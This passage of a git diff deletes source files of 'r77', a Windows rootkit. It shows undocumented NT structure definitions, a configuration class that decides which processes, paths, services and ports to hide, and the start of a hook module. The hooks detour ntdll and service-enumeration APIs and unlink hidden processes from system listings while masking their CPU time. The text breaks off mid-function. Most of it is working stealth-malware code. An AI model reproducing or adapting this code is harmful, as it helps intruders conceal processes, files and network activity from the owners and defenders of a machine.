- SystemBigPoolInformation,
- SystemSessionPoolTagInformation,
- SystemSessionMappedViewInformation,
- SystemHotpatchInformation,
- SystemObjectSecurityMode,
- SystemWatchdogTimerHandler,
- SystemWatchdogTimerInformation,
- SystemLogicalProcessorInformation,
- SystemWow64SharedInformationObsolete,
- SystemRegisterFirmwareTableInformationHandler,
- SystemFirmwareTableInformation,
- SystemModuleInformationEx,
- SystemVerifierTriageInformation,
- SystemSuperfetchInformation,
- SystemMemoryListInformation,
- SystemFileCacheInformationEx,
- SystemThreadPriorityClientIdInformation,
- SystemProcessorIdleCycleTimeInformation,
- SystemVerifierCancellationInformation,
- SystemProcessorPowerInformationEx,
- SystemRefTraceInformation,
- SystemSpecialPoolInformation,
- SystemProcessIdInformation,
- SystemErrorPortInformation,
- SystemBootEnvironmentInformation,
- SystemHypervisorInformation,
- SystemVerifierInformationEx,
- SystemTimeZoneInformation,
- SystemImageFileExecutionOptionsInformation,
- SystemCoverageInformation,
- SystemPrefetchPatchInformation,
- SystemVerifierFaultsInformation,
- SystemSystemPartitionInformation,
- SystemSystemDiskInformation,
- SystemProcessorPerformanceDistribution,
- SystemNumaProximityNodeInformation,
- SystemDynamicTimeZoneInformation,
- SystemCodeIntegrityInformation,
- SystemProcessorMicrocodeUpdateInformation,
- SystemProcessorBrandString,
- SystemVirtualAddressInformation,
- SystemLogicalProcessorAndGroupInformation,
- SystemProcessorCycleTimeInformation,
- SystemStoreInformation,
- SystemRegistryAppendString,
- SystemAitSamplingValue,
- SystemVhdBootInformation,
- SystemCpuQuotaInformation,
- SystemNativeBasicInformation,
- SystemErrorPortTimeouts,
- SystemLowPriorityIoInformation,
- SystemTpmBootEntropyInformation,
- SystemVerifierCountersInformation,
- SystemPagedPoolInformationEx,
- SystemSystemPtesInformationEx,
- SystemNodeDistanceInformation,
- SystemAcpiAuditInformation,
- SystemBasicPerformanceInformation,
- SystemQueryPerformanceCounterInformation,
- SystemSessionBigPoolInformation,
- SystemBootGraphicsInformation,
- SystemScrubPhysicalMemoryInformation,
- SystemBadPageInformation,
- SystemProcessorProfileControlArea,
- SystemCombinePhysicalMemoryInformation,
- SystemEntropyInterruptTimingInformation,
- SystemConsoleInformation,
- SystemPlatformBinaryInformation,
- SystemPolicyInformation,
- SystemHypervisorProcessorCountInformation,
- SystemDeviceDataInformation,
- SystemDeviceDataEnumerationInformation,
- SystemMemoryTopologyInformation,
- SystemMemoryChannelInformation,
- SystemBootLogoInformation,
- SystemProcessorPerformanceInformationEx,
- SystemCriticalProcessErrorLogInformation,
- SystemSecureBootPolicyInformation,
- SystemPageFileInformationEx,
- SystemSecureBootInformation,
- SystemEntropyInterruptTimingRawInformation,
- SystemPortableWorkspaceEfiLauncherInformation,
- SystemFullProcessInformation,
- SystemKernelDebuggerInformationEx,
- SystemBootMetadataInformation,
- SystemSoftRebootInformation,
- SystemElamCertificateInformation,
- SystemOfflineDumpConfigInformation,
- SystemProcessorFeaturesInformation,
- SystemRegistryReconciliationInformation,
- SystemEdidInformation,
- SystemManufacturingInformation,
- SystemEnergyEstimationConfigInformation,
- SystemHypervisorDetailInformation,
- SystemProcessorCycleStatsInformation,
- SystemVmGenerationCountInformation,
- SystemTrustedPlatformModuleInformation,
- SystemKernelDebuggerFlags,
- SystemCodeIntegrityPolicyInformation,
- SystemIsolatedUserModeInformation,
- SystemHardwareSecurityTestInterfaceResultsInformation,
- SystemSingleModuleInformation,
- SystemAllowedCpuSetsInformation,
- SystemVsmProtectionInformation,
- SystemInterruptCpuSetsInformation,
- SystemSecureBootPolicyFullInformation,
- SystemCodeIntegrityPolicyFullInformation,
- SystemAffinitizedInterruptProcessorInformation,
- SystemRootSiloInformation,
- SystemCpuSetInformation,
- SystemCpuSetTagInformation,
- SystemWin32WerStartCallout,
- SystemSecureKernelProfileInformation,
- SystemCodeIntegrityPlatformManifestInformation,
- SystemInterruptSteeringInformation,
- SystemSupportedProcessorArchitectures,
- SystemMemoryUsageInformation,
- SystemCodeIntegrityCertificateInformation,
- SystemPhysicalMemoryInformation,
- SystemControlFlowTransition,
- SystemKernelDebuggingAllowed,
- SystemActivityModerationExeState,
- SystemActivityModerationUserSettings,
- SystemCodeIntegrityPoliciesFullInformation,
- SystemCodeIntegrityUnlockInformation,
- SystemIntegrityQuotaInformation,
- SystemFlushInformation,
- SystemProcessorIdleMaskInformation,
- SystemSecureDumpEncryptionInformation,
- SystemWriteConstraintInformation,
- SystemKernelVaShadowInformation,
- SystemHypervisorSharedPageInformation,
- SystemFirmwareBootPerformanceInformation,
- SystemCodeIntegrityVerificationInformation,
- SystemFirmwarePartitionInformation,
- SystemSpeculationControlInformation,
- SystemDmaGuardPolicyInformation,
- SystemEnclaveLaunchControlInformation,
- SystemWorkloadAllowedCpuSetsInformation,
- SystemCodeIntegrityUnlockModeInformation,
- SystemLeapSecondInformation,
- SystemFlags2Information,
- SystemSecurityModelInformation,
- SystemCodeIntegritySyntheticCacheInformation,
- SystemFeatureConfigurationInformation,
- SystemFeatureConfigurationSectionInformation,
- SystemFeatureUsageSubscriptionInformation,
- SystemSecureSpeculationControlInformation
- } SYSTEM_INFORMATION_CLASS;
-
- typedef struct _SYSTEM_PROCESS_INFORMATION
- {
- ULONG NextEntryOffset;
- ULONG NumberOfThreads;
- LARGE_INTEGER WorkingSetPrivateSize;
- ULONG HardFaultCount;
- ULONG NumberOfThreadsHighWatermark;
- ULONGLONG CycleTime;
- LARGE_INTEGER CreateTime;
- LARGE_INTEGER UserTime;
- LARGE_INTEGER KernelTime;
- UNICODE_STRING ImageName;
- ULONG BasePriority;
- HANDLE ProcessId;
- HANDLE InheritedFromProcessId;
- } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
-
- typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION
- {
- LARGE_INTEGER IdleTime;
- LARGE_INTEGER KernelTime;
- LARGE_INTEGER UserTime;
- LARGE_INTEGER DpcTime;
- LARGE_INTEGER InterruptTime;
- ULONG InterruptCount;
- } SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION;
-
- typedef enum _FILE_INFORMATION_CLASS
- {
- FileDirectoryInformation = 1,
- FileFullDirectoryInformation,
- FileBothDirectoryInformation,
- FileBasicInformation,
- FileStandardInformation,
- FileInternalInformation,
- FileEaInformation,
- FileAccessInformation,
- FileNameInformation,
- FileRenameInformation,
- FileLinkInformation,
- FileNamesInformation,
- FileDispositionInformation,
- FilePositionInformation,
- FileFullEaInformation,
- FileModeInformation,
- FileAlignmentInformation,
- FileAllInformation,
- FileAllocationInformation,
- FileEndOfFileInformation,
- FileAlternateNameInformation,
- FileStreamInformation,
- FilePipeInformation,
- FilePipeLocalInformation,
- FilePipeRemoteInformation,
- FileMailslotQueryInformation,
- FileMailslotSetInformation,
- FileCompressionInformation,
- FileObjectIdInformation,
- FileCompletionInformation,
- FileMoveClusterInformation,
- FileQuotaInformation,
- FileReparsePointInformation,
- FileNetworkOpenInformation,
- FileAttributeTagInformation,
- FileTrackingInformation,
- FileIdBothDirectoryInformation,
- FileIdFullDirectoryInformation,
- FileValidDataLengthInformation,
- FileShortNameInformation,
- FileIoCompletionNotificationInformation,
- FileIoStatusBlockRangeInformation,
- FileIoPriorityHintInformation,
- FileSfioReserveInformation,
- FileSfioVolumeInformation,
- FileHardLinkInformation,
- FileProcessIdsUsingFileInformation,
- FileNormalizedNameInformation,
- FileNetworkPhysicalNameInformation,
- FileIdGlobalTxDirectoryInformation,
- FileIsRemoteDeviceInformation,
- FileUnusedInformation,
- FileNumaNodeInformation,
- FileStandardLinkInformation,
- FileRemoteProtocolInformation,
- FileRenameInformationBypassAccessCheck,
- FileLinkInformationBypassAccessCheck,
- FileVolumeNameInformation,
- FileIdInformation,
- FileIdExtdDirectoryInformation,
- FileReplaceCompletionInformation,
- FileHardLinkFullIdInformation,
- FileIdExtdBothDirectoryInformation,
- FileMaximumInformation
- } FILE_INFORMATION_CLASS;
-
- typedef struct _FILE_BOTH_DIR_INFORMATION
- {
- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- ULONG EaSize;
- CCHAR ShortNameLength;
- WCHAR ShortName[12];
- WCHAR FileName[1];
- } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
-
- typedef struct _FILE_DIRECTORY_INFORMATION
- {
- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- WCHAR FileName[1];
- } FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;
-
- typedef struct _FILE_FULL_DIR_INFORMATION
- {
- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- ULONG EaSize;
- WCHAR FileName[1];
- } FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;
-
- typedef struct _FILE_ID_BOTH_DIR_INFORMATION
- {
- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- ULONG EaSize;
- CCHAR ShortNameLength;
- WCHAR ShortName[12];
- LARGE_INTEGER FileId;
- WCHAR FileName[1];
- } FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;
-
- typedef struct _FILE_ID_FULL_DIR_INFORMATION
- {
- ULONG NextEntryOffset;
- ULONG FileIndex;
- LARGE_INTEGER CreationTime;
- LARGE_INTEGER LastAccessTime;
- LARGE_INTEGER LastWriteTime;
- LARGE_INTEGER ChangeTime;
- LARGE_INTEGER EndOfFile;
- LARGE_INTEGER AllocationSize;
- ULONG FileAttributes;
- ULONG FileNameLength;
- ULONG EaSize;
- LARGE_INTEGER FileId;
- WCHAR FileName[1];
- } FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;
-
- typedef struct _FILE_NAMES_INFORMATION
- {
- ULONG NextEntryOffset;
- ULONG FileIndex;
- ULONG FileNameLength;
- WCHAR FileName[1];
- } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
-
- typedef enum _KEY_INFORMATION_CLASS
- {
- KeyBasicInformation,
- KeyNodeInformation,
- KeyFullInformation,
- KeyNameInformation
- } KEY_INFORMATION_CLASS;
-
- typedef enum _KEY_VALUE_INFORMATION_CLASS
- {
- KeyValueBasicInformation,
- KeyValueFullInformation,
- KeyValuePartialInformation
- } KEY_VALUE_INFORMATION_CLASS;
-
- typedef struct _KEY_BASIC_INFORMATION
- {
- LARGE_INTEGER LastWriteTime;
- ULONG TitleIndex;
- ULONG NameLength;
- WCHAR Name[1];
- } KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION;
-
- typedef struct _KEY_NAME_INFORMATION
- {
- ULONG NameLength;
- WCHAR Name[1];
- } KEY_NAME_INFORMATION, *PKEY_NAME_INFORMATION;
-
- typedef struct _KEY_VALUE_BASIC_INFORMATION
- {
- ULONG TitleIndex;
- ULONG Type;
- ULONG NameLength;
- WCHAR Name[1];
- } KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION;
-
- typedef struct _KEY_VALUE_FULL_INFORMATION
- {
- ULONG TitleIndex;
- ULONG Type;
- ULONG DataOffset;
- ULONG DataLength;
- ULONG NameLength;
- WCHAR Name[1];
- } KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION;
-
- typedef enum _NSI_PARAM_TYPE
- {
- Udp = 1,
- Tcp = 3
- } NSI_PARAM_TYPE;
-
- typedef struct _NSI_TCP_SUBENTRY
- {
- BYTE Reserved1[2];
- USHORT Port;
- ULONG IpAddress;
- BYTE IpAddress6[16];
- BYTE Reserved2[4];
- } NSI_TCP_SUBENTRY, *PNSI_TCP_SUBENTRY;
-
- typedef struct _NSI_TCP_ENTRY
- {
- NSI_TCP_SUBENTRY Local;
- NSI_TCP_SUBENTRY Remote;
- } NSI_TCP_ENTRY, *PNSI_TCP_ENTRY;
-
- typedef struct _NSI_UDP_ENTRY
- {
- BYTE Reserved1[2];
- USHORT Port;
- ULONG IpAddress;
- BYTE IpAddress6[16];
- BYTE Reserved2[4];
- } NSI_UDP_ENTRY, *PNSI_UDP_ENTRY;
-
- typedef struct _NSI_STATUS_ENTRY
- {
- ULONG State;
- BYTE Reserved[8];
- } NSI_STATUS_ENTRY, *PNSI_STATUS_ENTRY;
-
- typedef struct _NSI_PROCESS_ENTRY
- {
- ULONG UdpProcessId;
- ULONG Reserved1;
- ULONG Reserved2;
- ULONG TcpProcessId;
- ULONG Reserved3;
- ULONG Reserved4;
- ULONG Reserved5;
- ULONG Reserved6;
- } NSI_PROCESS_ENTRY, *PNSI_PROCESS_ENTRY;
-
- typedef struct _NSI_PARAM
- {
- SIZE_T Reserved1;
- SIZE_T Reserved2;
- LPVOID ModuleId;
- NSI_PARAM_TYPE Type;
- ULONG Reserved3;
- ULONG Reserved4;
- LPVOID Entries;
- SIZE_T EntrySize;
- LPVOID Reserved5;
- SIZE_T Reserved6;
- PNSI_STATUS_ENTRY StatusEntries;
- SIZE_T Reserved7;
- PNSI_PROCESS_ENTRY ProcessEntries;
- SIZE_T ProcessEntrySize;
- SIZE_T Count;
- } NSI_PARAM, *PNSI_PARAM;
-
- typedef enum _OBJECT_INFORMATION_CLASS
- {
- ObjectBasicInformation,
- ObjectNameInformation,
- ObjectTypeInformation,
- ObjectAllInformation,
- ObjectDataInformation
- } OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS;
-
- typedef struct _LDR_DATA_TABLE_ENTRY
- {
- LIST_ENTRY InMemoryOrderModuleList;
- LIST_ENTRY InInitializationOrderModuleList;
- LPVOID DllBase;
- LPVOID EntryPoint;
- ULONG SizeOfImage;
- UNICODE_STRING FullDllName;
- UNICODE_STRING BaseDllName;
- ULONG Flags;
- SHORT LoadCount;
- SHORT TlsIndex;
- LIST_ENTRY HashTableEntry;
- ULONG TimeDateStamp;
- } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
-
- typedef struct _PEB_LDR_DATA
- {
- DWORD Length;
- DWORD Initialized;
- LPVOID SsHandle;
- LIST_ENTRY InLoadOrderModuleList;
- LIST_ENTRY InMemoryOrderModuleList;
- LIST_ENTRY InInitializationOrderModuleList;
- LPVOID EntryInProgress;
- } PEB_LDR_DATA, *PPEB_LDR_DATA;
-
- typedef struct _PEB
- {
- BYTE InheritedAddressSpace;
- BYTE ReadImageFileExecOptions;
- BYTE BeingDebugged;
- BYTE SpareBool;
- LPVOID Mutant;
- LPVOID ImageBaseAddress;
- PPEB_LDR_DATA Ldr;
- LPVOID ProcessParameters;
- LPVOID SubSystemData;
- LPVOID ProcessHeap;
- PRTL_CRITICAL_SECTION FastPebLock;
- LPVOID FastPebLockRoutine;
- LPVOID FastPebUnlockRoutine;
- DWORD EnvironmentUpdateCount;
- LPVOID KernelCallbackTable;
- DWORD SystemReserved;
- DWORD AtlThunkSListPtr32;
- LPVOID FreeList;
- DWORD TlsExpansionCounter;
- LPVOID TlsBitmap;
- DWORD TlsBitmapBits[2];
- LPVOID ReadOnlySharedMemoryBase;
- LPVOID ReadOnlySharedMemoryHeap;
- LPVOID ReadOnlyStaticServerData;
- LPVOID AnsiCodePageData;
- LPVOID OemCodePageData;
- LPVOID UnicodeCaseTableData;
- DWORD NumberOfProcessors;
- DWORD NtGlobalFlag;
- LARGE_INTEGER CriticalSectionTimeout;
- DWORD HeapSegmentReserve;
- DWORD HeapSegmentCommit;
- DWORD HeapDeCommitTotalFreeThreshold;
- DWORD HeapDeCommitFreeBlockThreshold;
- DWORD NumberOfHeaps;
- DWORD MaximumNumberOfHeaps;
- LPVOID ProcessHeaps;
- LPVOID GdiSharedHandleTable;
- LPVOID ProcessStarterHelper;
- DWORD GdiDCAttributeList;
- LPVOID LoaderLock;
- DWORD OSMajorVersion;
- DWORD OSMinorVersion;
- WORD OSBuildNumber;
- WORD OSCSDVersion;
- DWORD OSPlatformId;
- DWORD ImageSubsystem;
- DWORD ImageSubsystemMajorVersion;
- DWORD ImageSubsystemMinorVersion;
- DWORD ImageProcessAffinityMask;
- DWORD GdiHandleBuffer[34];
- LPVOID PostProcessInitRoutine;
- LPVOID TlsExpansionBitmap;
- DWORD TlsExpansionBitmapBits[32];
- DWORD SessionId;
- ULARGE_INTEGER AppCompatFlags;
- ULARGE_INTEGER AppCompatFlagsUser;
- LPVOID ShimData;
- LPVOID AppCompatInfo;
- UNICODE_STRING CSDVersion;
- LPVOID ActivationContextData;
- LPVOID ProcessAssemblyStorageMap;
- LPVOID SystemDefaultActivationContextData;
- LPVOID SystemAssemblyStorageMap;
- DWORD MinimumStackCommit;
- } PEB, *PPEB;
-
- typedef struct _IMAGE_RELOC
- {
- WORD Offset : 12;
- WORD Type : 4;
- } IMAGE_RELOC, *PIMAGE_RELOC;
-
- typedef NTSTATUS(NTAPI *NTQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength);
- typedef NTSTATUS(NTAPI *NTRESUMETHREAD)(HANDLE thread, PULONG suspendCount);
- typedef NTSTATUS(NTAPI *NTQUERYDIRECTORYFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan);
- typedef NTSTATUS(NTAPI *NTQUERYDIRECTORYFILEEX)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName);
- typedef NTSTATUS(NTAPI *NTENUMERATEKEY)(HANDLE key, ULONG index, KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength);
- typedef NTSTATUS(NTAPI *NTENUMERATEVALUEKEY)(HANDLE key, ULONG index, KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength);
- typedef BOOL(WINAPI *ENUMSERVICEGROUPW)(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved);
- typedef BOOL(WINAPI *ENUMSERVICESSTATUSEXW)(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName);
- typedef NTSTATUS(NTAPI *NTDEVICEIOCONTROLFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength);
- typedef NTSTATUS(NTAPI *NTQUERYOBJECT)(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength);
- typedef NTSTATUS(NTAPI *NTCREATETHREADEX)(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer);
- typedef NTSTATUS(NTAPI *RTLADJUSTPRIVILEGE)(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue);
- typedef NTSTATUS(NTAPI *RTLSETPROCESSISCRITICAL)(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb);
- typedef DWORD(NTAPI *NTFLUSHINSTRUCTIONCACHE)(HANDLE process, LPVOID baseAddress, ULONG size);
- typedef HMODULE(WINAPI *LOADLIBRARYA)(LPCSTR fileName);
- typedef FARPROC(WINAPI *GETPROCADDRESS)(HMODULE module, LPCSTR function);
- typedef LPVOID(WINAPI *VIRTUALALLOC)(LPVOID address, SIZE_T size, DWORD allocationType, DWORD protect);
- typedef BOOL(WINAPI *DLLMAIN)(HINSTANCE module, DWORD reason, LPVOID reserved);
-}
\ No newline at end of file
diff --git a/src/r77/Config.h b/src/r77/Config.h
deleted file mode 100644
index cdfacb5..0000000
--- a/src/r77/Config.h
+++ /dev/null
@@ -1,93 +0,0 @@
-///
-/// Global configuration system for r77.
-///
-class Config
-{
-private:
- static HANDLE Thread;
- static PR77_CONFIG Configuration;
-
- static DWORD WINAPI UpdateThread(LPVOID parameter);
-public:
- ///
- /// Initializes the configuration system.
- ///
- static void Initialize();
- ///
- /// Uninitializes the configuration system.
- ///
- static void Shutdown();
-
- ///
- /// Determines whether a process should be hidden based on a specific process ID.
- ///
- /// The process ID to check.
- ///
- /// true, if the process with the specified ID should be hidden;
- /// otherwise, false.
- ///
- static bool IsProcessIdHidden(DWORD processId);
- ///
- /// Determines whether a process should be hidden based on a specific name.
- ///
- /// The process name to check.
- ///
- /// true, if the process with the specified name should be hidden;
- /// otherwise, false.
- ///
- static bool IsProcessNameHidden(LPCWSTR name);
- ///
- /// Determines whether a process should be hidden based on a specific name.
- ///
- /// The process name to check.
- ///
- /// true, if the process with the specified name should be hidden;
- /// otherwise, false.
- ///
- static bool IsProcessNameHidden(UNICODE_STRING name);
- ///
- /// Determines whether a file or directory should be hidden based on its full path.
- ///
- /// The full path to check.
- ///
- /// true, if the file or directory with the specified full path should be hidden;
- /// otherwise, false.
- ///
- static bool IsPathHidden(LPCWSTR path);
- ///
- /// Determines whether a service should be hidden based on a specific name.
- ///
- /// The service name to check.
- ///
- /// true, if the service with the specified name should be hidden;
- /// otherwise, false.
- ///
- static bool IsServiceNameHidden(LPCWSTR name);
- ///
- /// Determines whether a local TCP port should be hidden.
- ///
- /// The TCP port to check.
- ///
- /// true, if the local TCP port should be hidden;
- /// otherwise, false.
- ///
- static bool IsTcpLocalPortHidden(USHORT port);
- ///
- /// Determines whether a remote TCP port should be hidden.
- ///
- /// The TCP port to check.
- ///
- /// true, if the remote TCP port should be hidden;
- /// otherwise, false.
- ///
- static bool IsTcpRemotePortHidden(USHORT port);
- ///
- /// Determines whether a UDP port should be hidden.
- ///
- /// The UDP port to check.
- ///
- /// true, if the UDP port should be hidden;
- /// otherwise, false.
- ///
- static bool IsUdpPortHidden(USHORT port);
-};
\ No newline at end of file
diff --git a/src/r77/Hooks.cpp b/src/r77/Hooks.cpp
deleted file mode 100644
index 89cddb6..0000000
--- a/src/r77/Hooks.cpp
+++ /dev/null
@@ -1,661 +0,0 @@
-#include "r77.h"
-
-bool Hooks::IsInitialized = false;
-
-nt::NTQUERYSYSTEMINFORMATION Hooks::OriginalNtQuerySystemInformation = NULL;
-nt::NTRESUMETHREAD Hooks::OriginalNtResumeThread = NULL;
-nt::NTQUERYDIRECTORYFILE Hooks::OriginalNtQueryDirectoryFile = NULL;
-nt::NTQUERYDIRECTORYFILEEX Hooks::OriginalNtQueryDirectoryFileEx = NULL;
-nt::NTENUMERATEKEY Hooks::OriginalNtEnumerateKey = NULL;
-nt::NTENUMERATEVALUEKEY Hooks::OriginalNtEnumerateValueKey = NULL;
-nt::ENUMSERVICEGROUPW Hooks::OriginalEnumServiceGroupW = NULL;
-nt::ENUMSERVICESSTATUSEXW Hooks::OriginalEnumServicesStatusExW = NULL;
-nt::ENUMSERVICESSTATUSEXW Hooks::OriginalEnumServicesStatusExW2 = NULL;
-nt::NTDEVICEIOCONTROLFILE Hooks::OriginalNtDeviceIoControlFile = NULL;
-
-void Hooks::Initialize()
-{
- if (!IsInitialized)
- {
- IsInitialized = true;
-
- DetourTransactionBegin();
- DetourUpdateThread(GetCurrentThread());
- InstallHook("ntdll.dll", "NtQuerySystemInformation", (LPVOID*)&OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation);
- InstallHook("ntdll.dll", "NtResumeThread", (LPVOID*)&OriginalNtResumeThread, HookedNtResumeThread);
- InstallHook("ntdll.dll", "NtQueryDirectoryFile", (LPVOID*)&OriginalNtQueryDirectoryFile, HookedNtQueryDirectoryFile);
- InstallHook("ntdll.dll", "NtQueryDirectoryFileEx", (LPVOID*)&OriginalNtQueryDirectoryFileEx, HookedNtQueryDirectoryFileEx);
- InstallHook("ntdll.dll", "NtEnumerateKey", (LPVOID*)&OriginalNtEnumerateKey, HookedNtEnumerateKey);
- InstallHook("ntdll.dll", "NtEnumerateValueKey", (LPVOID*)&OriginalNtEnumerateValueKey, HookedNtEnumerateValueKey);
- InstallHook("advapi32.dll", "EnumServiceGroupW", (LPVOID*)&OriginalEnumServiceGroupW, HookedEnumServiceGroupW);
- InstallHook("advapi32.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW, HookedEnumServicesStatusExW);
- InstallHook("sechost.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW2, HookedEnumServicesStatusExW2);
- InstallHook("ntdll.dll", "NtDeviceIoControlFile", (LPVOID*)&OriginalNtDeviceIoControlFile, HookedNtDeviceIoControlFile);
- DetourTransactionCommit();
-
- // Usually, ntdll.dll should be the only DLL to hook.
- // Unfortunately, the actual enumeration of services happens in services.exe - a protected process that cannot be injected.
- // EnumServiceGroupW and EnumServicesStatusExW from advapi32.dll access services.exe through RPC. There is no longer one single syscall wrapper function to hook, but multiple higher level functions.
- // EnumServicesStatusA and EnumServicesStatusExA also implement the RPC, but do not seem to be used by any applications out there.
- }
-}
-void Hooks::Shutdown()
-{
- if (IsInitialized)
- {
- IsInitialized = false;
-
- DetourTransactionBegin();
- DetourUpdateThread(GetCurrentThread());
- UninstallHook(OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation);
- UninstallHook(OriginalNtResumeThread, HookedNtResumeThread);
- UninstallHook(OriginalNtQueryDirectoryFile, HookedNtQueryDirectoryFile);
- UninstallHook(OriginalNtQueryDirectoryFileEx, HookedNtQueryDirectoryFileEx);
- UninstallHook(OriginalNtEnumerateKey, HookedNtEnumerateKey);
- UninstallHook(OriginalNtEnumerateValueKey, HookedNtEnumerateValueKey);
- UninstallHook(OriginalEnumServiceGroupW, HookedEnumServiceGroupW);
- UninstallHook(OriginalEnumServicesStatusExW, HookedEnumServicesStatusExW);
- UninstallHook(OriginalEnumServicesStatusExW2, HookedEnumServicesStatusExW2);
- UninstallHook(OriginalNtDeviceIoControlFile, HookedNtDeviceIoControlFile);
- DetourTransactionCommit();
- }
-}
-
-void Hooks::InstallHook(LPCSTR dll, LPCSTR function, LPVOID *originalFunction, LPVOID hookedFunction)
-{
- *originalFunction = GetFunction(dll, function);
- if (*originalFunction) DetourAttach(originalFunction, hookedFunction);
-}
-void Hooks::UninstallHook(LPVOID originalFunction, LPVOID hookedFunction)
-{
- if (originalFunction && hookedFunction) DetourDetach(&originalFunction, hookedFunction);
-}
-
-NTSTATUS NTAPI Hooks::HookedNtQuerySystemInformation(nt::SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength)
-{
- // returnLength is important, but it may be NULL, so wrap this value.
- ULONG newReturnLength;
- NTSTATUS status = OriginalNtQuerySystemInformation(systemInformationClass, systemInformation, systemInformationLength, &newReturnLength);
- if (returnLength) *returnLength = newReturnLength;
-
- if (NT_SUCCESS(status))
- {
- // Hide processes
- if (systemInformationClass == nt::SYSTEM_INFORMATION_CLASS::SystemProcessInformation)
- {
- // Accumulate CPU usage of hidden processes.
- LARGE_INTEGER hiddenKernelTime = { 0 };
- LARGE_INTEGER hiddenUserTime = { 0 };
- LONGLONG hiddenCycleTime = 0;
-
- for (nt::PSYSTEM_PROCESS_INFORMATION current = (nt::PSYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;)
- {
- if (Rootkit::HasPrefix(current->ImageName) || Config::IsProcessIdHidden((DWORD)(DWORD_PTR)current->ProcessId) || Config::IsProcessNameHidden(current->ImageName))
- {
- hiddenKernelTime.QuadPart += current->KernelTime.QuadPart;
- hiddenUserTime.QuadPart += current->UserTime.QuadPart;
- hiddenCycleTime += current->CycleTime;
-
- if (previous)
- {
- if (current->NextEntryOffset) previous->NextEntryOffset += current->NextEntryOffset;
- else previous->NextEntryOffset = 0;
- }
- else
- {
